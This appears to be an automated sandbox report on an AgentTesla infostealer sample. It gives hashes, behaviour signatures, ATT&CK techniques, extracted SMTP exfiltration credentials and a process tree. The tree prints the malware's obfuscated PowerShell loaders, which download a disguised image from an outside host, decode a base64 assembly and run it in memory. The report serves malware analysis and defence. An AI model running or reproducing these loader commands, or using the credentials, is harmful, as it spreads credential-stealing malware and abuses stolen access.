agenttesla | e50d396fce14d5c6f58251adb5967d37862e8f2931d760ea76557e45086c30bf

Analysis

max time kernel
135s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20231127-en
resource tags

arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2023, 08:10

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General

Target
svc.vbs
Size 198KB
Sample231128-j2pnqagc79
SHA256 e50d396fce14d5c6f58251adb5967d37862e8f2931d760ea76557e45086c30bf
MD5 c8fed33afd3d81a920a9ffcc4c17fec8
SHA1 93c96e2a76ec120e30afa0e93c9a58656e522f8e
SHA512 8692ecc94caa292c0606cd29efd77f09067c1369dd7b5810f81450e330bd8016cf6b8e8ae4d1a28e4124f90b31f591be66c7795ae2c760be817d7720e315cc91
SSDEEP 6144:kLLLLLuLLLLLyLLLLLSLLLLLlLLLLLuLLLLLgLLLLL0LLLLLELLLLL7LLLLLM:kLLLLLuLLLLLyLLLLLSLLLLLlLLLLLuZ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://uploaddeimagens.com.br/images/004/674/364/original/vbsss.jpg?1700999331
exe.dropper
https://uploaddeimagens.com.br/images/004/674/364/original/vbsss.jpg?1700999331

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
ssl0.ovh.net
Port
587
Username
[email protected]
Password
6erKdOHPy
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	4624	WScript.exe
23	4812	powershell.exe
28	4812	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3635043082-2972811465-3176142135-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LnkName.lnk	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4812 set thread context of 448	4812	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4528	448	WerFault.exe	93

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4972	powershell.exe
4972	powershell.exe
4812	powershell.exe
4812	powershell.exe
700	powershell.exe
700	powershell.exe
448	RegAsm.exe
448	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	700	powershell.exe
Token: SeDebugPrivilege	448	RegAsm.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 4972	4624	WScript.exe	87
PID 4624 wrote to memory of 4972	4624	WScript.exe	87
PID 4972 wrote to memory of 4812	4972	powershell.exe	89
PID 4972 wrote to memory of 4812	4972	powershell.exe	89
PID 4812 wrote to memory of 700	4812	powershell.exe	91
PID 4812 wrote to memory of 700	4812	powershell.exe	91
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93
PID 4812 wrote to memory of 448	4812	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\svc.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zGcCYg','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('1usimageUrl = oQ3'+'https://uploadde'+'imagens.com.br/im'+'ages/004/674/36'+'4/original/vb'+'sss.jpg?1700999331oQ3;1uswebClient = '+'New-Object System.Net.WebClient;1usimage'+'Bytes = 1usweb'+'Client.DownloadData(1usimageUrl);1usimageText = [System.Text.Encoding]::UTF8.GetString(1usimag'+'eBytes);1usstartFlag '+'= oQ3<<BASE64_START>>oQ3;1usendFlag = oQ3<<BASE64_END>>oQ3'+';1usstartIndex = 1usimageText.IndexOf(1usstartFlag);1usendIndex = 1usimageText.IndexOf(1usendFlag);1usst'+'artIndex -ge 0 -and 1usendInde'+'x -gt 1usstar'+'tIndex;1usstartIndex += 1usstartFlag.Length;1usbase64Length = 1usendIndex - 1usstartIndex;1usbase64Command = 1usimageT'+'ext.Substring(1usstartIndex, 1usb'+'ase64Length);1uscomm'+'andBytes = [System.Convert]::FromBase64String(1usbase64Command);1usloadedAssembly = '+'[System.Reflection.Assembly]::Load(1uscomma'+'ndBytes);1ustype = 1usload'+'edAssembly.GetType(oQ3Fiber.HomeoQ3);1us'+'method = 1ustype.GetMethod(oQ3VAIoQ3).Invoke(1usnull, [object[]] (oQ3OGE0NzkzNzAxMzFlLTMxMGItYmY0NC0yOGMwLWZmODVkOThlPW5la290JmFpZGVtPXRsYT90eHQubmFscC9vL21vYy50b3Bzc'+'HBhLjY0YjIxLXJkbmViL2IvMHYvbW9jLnNp'+'cGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGg=oQ3 , oQ3oQ3 , oQ32oQ3 , oQ3Vb'+'sNameoQ3 , oQ31oQ3 , oQ3C:PQbProgramDataPQboQ3, oQ3LnkNameoQ3))') -CrEpLace([chaR]49+[chaR]117+[chaR]115),[chaR]36 -CrEpLace ([chaR]80+[chaR]81+[chaR]98),[chaR]92-rEplacE ([chaR]111+[chaR]81+[chaR]51),[chaR]39)|.( $shELLid[1]+$SHelLid[13]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4812
  - - C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\VbsName.vbs
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:700
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:448
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 448 -s 1984
        5⤵
        Program crash
        
        PID:4528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 448 -ip 448
1⤵
PID:1240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 f5b6181605d116cbbce83eb8447ab9361e4b33a14c047341f95a213c458c6f0d
MD5 1fc9306e8e51cc1c9dfc80c61bdfae89
SHA1 1ec4700877bfa1b98b5f90a82c0986c1f4ffe51c
SHA512 fa0f34b783cc536734cad9aa9b955b73400dd8689206b249e9d431c2e542b2a0cf3e0fb0c98794d7627fa54453826b793adc1e5255ec7e0c550a51df892c4c76
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac
MD5 feadc4e1a70c13480ef147aca0c47bc0
SHA1 d7a5084c93842a290b24dacec0cd3904c2266819
SHA512 c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23
